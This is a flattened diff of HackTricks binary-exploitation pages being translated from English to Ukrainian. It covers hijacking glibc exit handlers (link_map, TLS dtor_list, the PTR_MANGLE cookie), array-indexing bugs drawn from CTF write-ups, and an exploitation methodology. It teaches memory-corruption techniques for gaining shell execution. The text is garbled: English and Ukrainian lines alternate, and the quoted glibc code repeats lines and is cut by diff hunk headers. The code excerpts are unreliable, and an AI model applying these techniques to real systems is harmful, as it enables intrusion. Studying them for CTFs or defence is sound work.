Ви можете знайти детальне пояснення того, як це працює, на [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
## link_map
As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors.
Як пояснено [**в цьому пості**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), якщо програма завершується за допомогою `return` або `exit()`, вона виконає `__run_exit_handlers()`, яка викличе зареєстровані деструктори.
> [!CAUTION]
> If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it.
The important code is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
> Якщо програма завершується через **`_exit()`** функцію, вона викличе **`exit` syscall** і обробники виходу не будуть виконані. Тому, щоб підтвердити, що `__run_exit_handlers()` виконується, ви можете встановити точку зупинки на ній.
Важливий код - ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
```c
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
if (fini_array != NULL)
{
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
{
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
while (sz-- > 0)
((fini_t) array[sz]) ();
}
[...]
while (sz-- > 0)
((fini_t) array[sz]) ();
}
[...]
@ -41,198 +40,187 @@ if (fini_array != NULL)
// This is the d_un structure
ptype l->l_info[DT_FINI_ARRAY]->d_un
type = union {
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
}
```
Зверніть увагу, як `map -> l_addr + fini_array -> d_un.d_ptr` використовується для **обчислення** позиції **масиву функцій для виклику**.
Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the position of the **array of functions to call**.
Є **кілька варіантів**:
There are a **couple of options**:
- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code
- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled.&#x20;
- [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array.
- According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example.
Following the previous code you can find another interesting section with the code:
- Перезаписати значення `map->l_addr`, щоб воно вказувало на **підроблений `fini_array`** з інструкціями для виконання довільного коду.
- Перезаписати записи `l_info[DT_FINI_ARRAY]` та `l_info[DT_FINI_ARRAYSZ]` (які більш-менш послідовні в пам'яті), щоб вони **вказували на підроблену структуру `Elf64_Dyn`**, яка знову зробить так, що **`array` вказуватиме на зону пам'яті**, контрольовану атакуючим.&#x20;
- [**Цей звіт**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) перезаписує `l_info[DT_FINI_ARRAY]` з адресою контрольованої пам'яті в `.bss`, що містить підроблений `fini_array`. Цей підроблений масив спочатку містить [**адресу одного гаджета**](../rop-return-oriented-programing/ret2lib/one-gadget.md), яка буде виконана, а потім **різницю** між адресою цього **підробленого масиву** та **значенням `map->l_addr`**, щоб `*array` вказував на підроблений масив.
- Згідно з основним постом цієї техніки та [**цим звітом**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so залишає вказівник на стеку, який вказує на бінарний `link_map` в ld.so. З допомогою довільного запису можна перезаписати його і зробити так, щоб він вказував на підроблений `fini_array`, контрольований атакуючим, з адресою до [**одного гаджета**](../rop-return-oriented-programing/ret2lib/one-gadget.md), наприклад.
Наступний код містить ще один цікавий розділ з кодом:
```c
/* Next try the old-style destructor. */
ElfW(Dyn) *fini = map->l_info[DT_FINI];
if (fini != NULL)
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
}
```
У цьому випадку буде можливим перезаписати значення `map->l_info[DT_FINI]`, яке вказує на підроблену `ElfW(Dyn)` структуру. Знайдіть [**більше інформації тут**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).
In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).
## Перезапис dtor_list TLS-Storage у **`__run_exit_handlers`**
## TLS-Storage dtor_list overwrite in **`__run_exit_handlers`**
As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered.
Code from `_run_exit_handlers()`:
Як [**пояснюється тут**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), якщо програма завершується через `return` або `exit()`, вона виконає **`__run_exit_handlers()`**, яка викличе будь-які функції деструкторів, зареєстровані.
Код з `_run_exit_handlers()`:
```c
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();
if (run_dtors)
__call_tls_dtors ();
```
Code from **`__call_tls_dtors()`**:
Код з **`__call_tls_dtors()`**:
```c
typedef void (*dtor_func) (void *);
struct dtor_list //struct added
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};
[...]
/* Call the destructors. This is called either when a thread returns from the
initial function or when the process exits via the exit function. */
initial function or when the process exits via the exit function. */
void
__call_tls_dtors (void)
{
while (tls_dtor_list) // parse the dtor_list chained structures
{
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
dtor_func func = cur->func;
PTR_DEMANGLE (func); // demangle the function ptr
while (tls_dtor_list) // parse the dtor_list chained structures
{
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
dtor_func func = cur->func;
PTR_DEMANGLE (func); // demangle the function ptr
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
func (cur->obj);
[...]
}
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
func (cur->obj);
[...]
}
}
```
Для кожної зареєстрованої функції в **`tls_dtor_list`** буде деманглити вказівник з **`cur->func`** і викликати його з аргументом **`cur->obj`**.
For each registered function in **`tls_dtor_list`**, it'll demangle the pointer from **`cur->func`** and call it with the argument **`cur->obj`**.
Using the **`tls`** function from this [**fork of GEF**](https://github.com/bata24/gef), it's possible to see that actually the **`dtor_list`** is very **close** to the **stack canary** and **PTR_MANGLE cookie**. So, with an overflow on it's it would be possible to **overwrite** the **cookie** and the **stack canary**.\
Overwriting the PTR_MANGLE cookie, it would be possible to **bypass the `PTR_DEMANLE` function** by setting it to 0x00, will mean that the **`xor`** used to get the real address is just the address configured. Then, by writing on the **`dtor_list`** it's possible **chain several functions** with the function **address** and it's **argument.**
Finally notice that the stored pointer is not only going to be xored with the cookie but also rotated 17 bits:
Використовуючи функцію **`tls`** з цього [**форку GEF**](https://github.com/bata24/gef), можна побачити, що насправді **`dtor_list`** дуже **близький** до **stack canary** і **PTR_MANGLE cookie**. Отже, з переповненням на ньому було б можливим **перезаписати** **cookie** і **stack canary**.\
Перезаписуючи PTR_MANGLE cookie, було б можливим **обійти функцію `PTR_DEMANLE`**, встановивши її на 0x00, що означатиме, що **`xor`**, використаний для отримання реальної адреси, є просто адресою, що налаштована. Потім, записуючи на **`dtor_list`**, можна **з'єднати кілька функцій** з адресою функції та її **аргументом.**
Нарешті, зверніть увагу, що збережений вказівник не тільки буде xored з cookie, але також буде обернений на 17 біт:
```armasm
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
```
Отже, вам потрібно врахувати це перед додаванням нової адреси.
So you need to take this into account before adding a new address.
Знайдіть приклад у [**оригінальному пості**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite).
Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite).
## Інші спотворені вказівники в **`__run_exit_handlers`**
## Other mangled pointers in **`__run_exit_handlers`**
This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called.
Let's check more code of this function:
Цю техніку [**пояснено тут**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) і вона знову залежить від того, що програма **виходить, викликаючи `return` або `exit()`**, тому **`__run_exit_handlers()`** викликається.
Давайте перевіримо більше коду цієї функції:
```c
while (true)
{
struct exit_function_list *cur;
while (true)
{
struct exit_function_list *cur;
restart:
cur = *listp;
restart:
cur = *listp;
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
PTR_DEMANGLE (onfct);
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
PTR_DEMANGLE (onfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
PTR_DEMANGLE (atfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
PTR_DEMANGLE (atfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
__libc_lock_unlock (__exit_funcs_lock);
__libc_lock_unlock (__exit_funcs_lock);
```
Змінна `f` вказує на **`initial`** структуру, і в залежності від значення `f->flavor` будуть викликані різні функції.\
В залежності від значення, адреса функції, яку потрібно викликати, буде в іншому місці, але вона завжди буде **demangled**.
The variable `f` points to the **`initial`** structure and depending on the value of `f->flavor` different functions will be called.\
Depending on the value, the address of the function to call will be in a different place, but it'll always be **demangled**.
Більше того, в опціях **`ef_on`** та **`ef_cxa`** також можна контролювати **аргумент**.
Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to control an **argument**.
Можна перевірити **`initial` структуру** в сеансі налагодження з GEF, запустивши **`gef> p initial`**.
It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**.
To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\
You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
Щоб зловживати цим, вам потрібно або **leak, або стерти `PTR_MANGLE`cookie** і потім перезаписати запис `cxa` в initial з `system('/bin/sh')`.\
Ви можете знайти приклад цього в [**оригінальному блозі про техніку**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,18 +1,18 @@
# Array Indexing
# Індексація масивів
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
This category includes all vulnerabilities that occur because it is possible to overwrite certain data through errors in the handling of indexes in arrays. It's a very wide category with no specific methodology as the exploitation mechanism relays completely on the conditions of the vulnerability.
Ця категорія включає всі вразливості, які виникають через можливість перезапису певних даних через помилки в обробці індексів у масивах. Це дуже широка категорія без конкретної методології, оскільки механізм експлуатації повністю залежить від умов вразливості.
However he you can find some nice **examples**:
Однак ви можете знайти кілька гарних **прикладів**:
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
- There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`.
- Є **2 колізійні масиви**, один для **адрес**, де зберігаються дані, і один з **розмірами** цих даних. Можливо перезаписати один з іншого, що дозволяє записати довільну адресу, вказуючи її як розмір. Це дозволяє записати адресу функції `free` в таблиці GOT, а потім перезаписати її адресою до `system` і викликати free з пам'яті з `/bin/sh`.
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
- 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there.
- 64 біти, без nx. Перезаписати розмір, щоб отримати свого роду переповнення буфера, де все буде використовуватися як подвоєне число і сортуватися від найменшого до найбільшого, тому потрібно створити shellcode, який відповідає цій вимозі, враховуючи, що канарейка не повинна бути переміщена з її позиції, і нарешті перезаписати RIP адресою до ret, яка відповідає попереднім вимогам, і помістити найбільшу адресу на нову адресу, що вказує на початок стеку (викрита програмою), щоб можна було використовувати ret для стрибка туди.
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
- 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used.
- 64 біти, без relro, канарейка, nx, без pie. Є off-by-one в масиві в стеку, що дозволяє контролювати вказівник, надаючи WWW (він записує суму всіх чисел масиву в перезаписаній адресі через off-by-one в масиві). Стек контролюється, тому адреса GOT `exit` перезаписується на `pop rdi; ret`, а в стеку додається адреса до `main` (зациклюючись назад на `main`). Використовується ланцюг ROP для викриття адреси put в GOT за допомогою puts (`exit` буде викликано, тому він викликатиме `pop rdi; ret`, отже, виконуючи цей ланцюг у стеку). Нарешті, використовується новий ланцюг ROP, що виконує ret2lib.
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
- 32 біти, без relro, без канарейки, nx, pie. Зловживання поганою індексацією для викриття адрес libc і heap зі стеку. Зловживання переповненням буфера для виконання ret2lib, викликаючи `system('/bin/sh')` (адреса heap потрібна для обходу перевірки).

View File

@ -1,111 +1,111 @@
# Basic Binary Exploitation Methodology
# Основна методологія експлуатації бінарних файлів
{{#include ../../banners/hacktricks-training.md}}
## ELF Basic Info
## Основна інформація про ELF
Before start exploiting anything it's interesting to understand part of the structure of an **ELF binary**:
Перед початком експлуатації чогось цікаво зрозуміти частину структури **ELF бінарного файлу**:
{{#ref}}
elf-tricks.md
{{#endref}}
## Exploiting Tools
## Інструменти для експлуатації
{{#ref}}
tools/
{{#endref}}
## Stack Overflow Methodology
## Методологія переповнення стеку
With so many techniques it's good to have a scheme when each technique will be useful. Note that the same protections will affect different techniques. You can find ways to bypass the protections on each protection section but not in this methodology.
З такою кількістю технік добре мати схему, коли кожна техніка буде корисною. Зверніть увагу, що ті ж самі захисти вплинуть на різні техніки. Ви можете знайти способи обійти захисти в кожному розділі захисту, але не в цій методології.
## Controlling the Flow
## Контроль потоку
There are different was you could end controlling the flow of a program:
Існує кілька способів, як ви можете контролювати потік програми:
- [**Stack Overflows**](../stack-overflow/) overwriting the return pointer from the stack or the EBP -> ESP -> EIP.
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
- Or via **Arbitrary Writes + Write What Where to Execution**
- [**Format strings**](../format-strings/)**:** Abuse `printf` to write arbitrary content in arbitrary addresses.
- [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write.
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
- **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW.
- [**Переповнення стеку**](../stack-overflow/) перезаписуючи вказівник повернення зі стеку або EBP -> ESP -> EIP.
- Можливо, потрібно зловживати [**переповненням цілого числа**](../integer-overflow.md), щоб викликати переповнення.
- Або через **Довільні записи + Записати що куди для виконання**.
- [**Форматні рядки**](../format-strings/)**:** Зловживати `printf`, щоб записати довільний вміст у довільні адреси.
- [**Індексація масивів**](../array-indexing.md): Зловживати погано спроектованою індексацією, щоб мати можливість контролювати деякі масиви та отримати довільний запис.
- Можливо, потрібно зловживати [**переповненням цілого числа**](../integer-overflow.md), щоб викликати переповнення.
- **bof до WWW через ROP**: Зловживати переповненням буфера, щоб побудувати ROP і мати можливість отримати WWW.
You can find the **Write What Where to Execution** techniques in:
Ви можете знайти техніки **Записати що куди для виконання** в:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
## Eternal Loops
## Вічні цикли
Something to take into account is that usually **just one exploitation of a vulnerability might not be enough** to execute a successful exploit, specially some protections need to be bypassed. Therefore, it's interesting discuss some options to **make a single vulnerability exploitable several times** in the same execution of the binary:
Що слід врахувати, так це те, що зазвичай **лише одна експлуатація вразливості може бути недостатньою** для виконання успішної експлуатації, особливо деякі захисти потрібно обійти. Тому цікаво обговорити деякі варіанти, щоб **зробити одну вразливість експлуатованою кілька разів** в одному виконанні бінарного файлу:
- Write in a **ROP** chain the address of the **`main` function** or to the address where the **vulnerability** is occurring.
- Controlling a proper ROP chain you might be able to perform all the actions in that chain
- Write in the **`exit` address in GOT** (or any other function used by the binary before ending) the address to go **back to the vulnerability**
- As explained in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** store 2 functions here, one to call the vuln again and another to call**`__libc_csu_fini`** which will call again the function from `.fini_array`.
- Записати в **ROP** ланцюг адресу **`main` функції** або адресу, де відбувається **вразливість**.
- Контролюючи правильний ROP ланцюг, ви можете виконати всі дії в цьому ланцюгу.
- Записати в **адресу виходу в GOT** (або будь-яку іншу функцію, що використовується бінарним файлом перед завершенням) адресу, щоб **повернутися до вразливості**.
- Як пояснено в [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** зберігайте тут 2 функції, одну для повторного виклику вразливості та іншу для виклику **`__libc_csu_fini`**, яка знову викликатиме функцію з `.fini_array`.
## Exploitation Goals
## Цілі експлуатації
### Goal: Call an Existing function
### Мета: Виклик існуючої функції
- [**ret2win**](./#ret2win): There is a function in the code you need to call (maybe with some specific params) in order to get the flag.
- In a **regular bof without** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) you just need to write the address in the return address stored in the stack.
- In a bof with [**PIE**](../common-binary-protections-and-bypasses/pie/), you will need to bypass it
- In a bof with [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), you will need to bypass it
- If you need to set several parameter to correctly call the **ret2win** function you can use:
- A [**ROP**](./#rop-and-ret2...-techniques) **chain if there are enough gadgets** to prepare all the params
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in case you can call this syscall) to control a lot of registers
- Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers
- Via a [**Write What Where**](../arbitrary-write-2-exec/) you could abuse other vulns (not bof) to call the **`win`** function.
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
- [**Uninitialized vatiables**](../stack-overflow/uninitialized-variables.md): You never know.
- [**ret2win**](./#ret2win): Існує функція в коді, яку потрібно викликати (можливо, з деякими специфічними параметрами), щоб отримати прапор.
- У **звичайному bof без** [**PIE**](../common-binary-protections-and-bypasses/pie/) **та** [**канарки**](../common-binary-protections-and-bypasses/stack-canaries/) вам просто потрібно записати адресу у повернену адресу, збережену в стеку.
- У bof з [**PIE**](../common-binary-protections-and-bypasses/pie/), вам потрібно буде обійти його.
- У bof з [**канаркою**](../common-binary-protections-and-bypasses/stack-canaries/), вам потрібно буде обійти її.
- Якщо вам потрібно встановити кілька параметрів для правильного виклику функції **ret2win**, ви можете використовувати:
- Ланцюг [**ROP**](./#rop-and-ret2...-techniques), якщо є достатньо гаджетів для підготовки всіх параметрів.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (якщо ви можете викликати цей системний виклик), щоб контролювати багато регістрів.
- Гаджети з [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) та [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) для контролю кількох регістрів.
- Через [**Записати що куди**](../arbitrary-write-2-exec/) ви можете зловживати іншими вразливостями (не bof), щоб викликати функцію **`win`**.
- [**Перенаправлення вказівників**](../stack-overflow/pointer-redirecting.md): У разі, якщо стек містить вказівники на функцію, яка буде викликана, або на рядок, який буде використаний цікавою функцією (system або printf), можливо, перезаписати цю адресу.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) або [**PIE**](../common-binary-protections-and-bypasses/pie/) можуть вплинути на адреси.
- [**Невизначені змінні**](../stack-overflow/uninitialized-variables.md): Ви ніколи не знаєте.
### Goal: RCE
### Мета: RCE
#### Via shellcode, if nx disabled or mixing shellcode with ROP:
#### Через shellcode, якщо nx вимкнено або змішуючи shellcode з ROP:
- [**(Stack) Shellcode**](./#stack-shellcode): This is useful to store a shellcode in the stack before of after overwriting the return pointer and then **jump to it** to execute it:
- **In any case, if there is a** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in a regular bof you will need to bypass (leak) it
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) it's possible to jump to the address of the stack as it won't never change
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) you will need techniques such as [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) to jump to it
- **With** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), you will need to use some [**ROP**](../rop-return-oriented-programing/) **to call `memprotect`** and make some page `rwx`, in order to then **store the shellcode in there** (calling read for example) and then jump there.
- This will mix shellcode with a ROP chain.
- [**(Стек) Shellcode**](./#stack-shellcode): Це корисно для зберігання shellcode у стеку перед або після перезапису вказівника повернення, а потім **перейти до нього** для виконання:
- **У будь-якому випадку, якщо є** [**канарка**](../common-binary-protections-and-bypasses/stack-canaries/)**,** у звичайному bof вам потрібно буде обійти (викрити) її.
- **Без** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **та** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) можливо перейти до адреси стеку, оскільки вона ніколи не зміниться.
- **З** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) вам знадобляться техніки, такі як [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md), щоб перейти до неї.
- **З** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), вам потрібно буде використовувати деякі [**ROP**](../rop-return-oriented-programing/) **для виклику `memprotect`** і зробити деяку сторінку `rwx`, щоб потім **зберегти shellcode там** (викликавши read, наприклад) і потім перейти туди.
- Це змішає shellcode з ROP ланцюгом.
#### Via syscalls
#### Через системні виклики
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Useful to call `execve` to run arbitrary commands. You need to be able to find the **gadgets to call the specific syscall with the parameters**.
- If [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) are enabled you'll need to defeat them **in order to use ROP gadgets** from the binary or libraries.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) can be useful to prepare the **ret2execve**
- Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Корисно для виклику `execve`, щоб виконати довільні команди. Вам потрібно буде знайти **гаджети для виклику конкретного системного виклику з параметрами**.
- Якщо [**ASLR**](../common-binary-protections-and-bypasses/aslr/) або [**PIE**](../common-binary-protections-and-bypasses/pie/) увімкнені, вам потрібно буде їх подолати **для використання ROP гаджетів** з бінарного файлу або бібліотек.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) може бути корисним для підготовки **ret2execve**.
- Гаджети з [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) та [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) для контролю кількох регістрів.
#### Via libc
#### Через libc
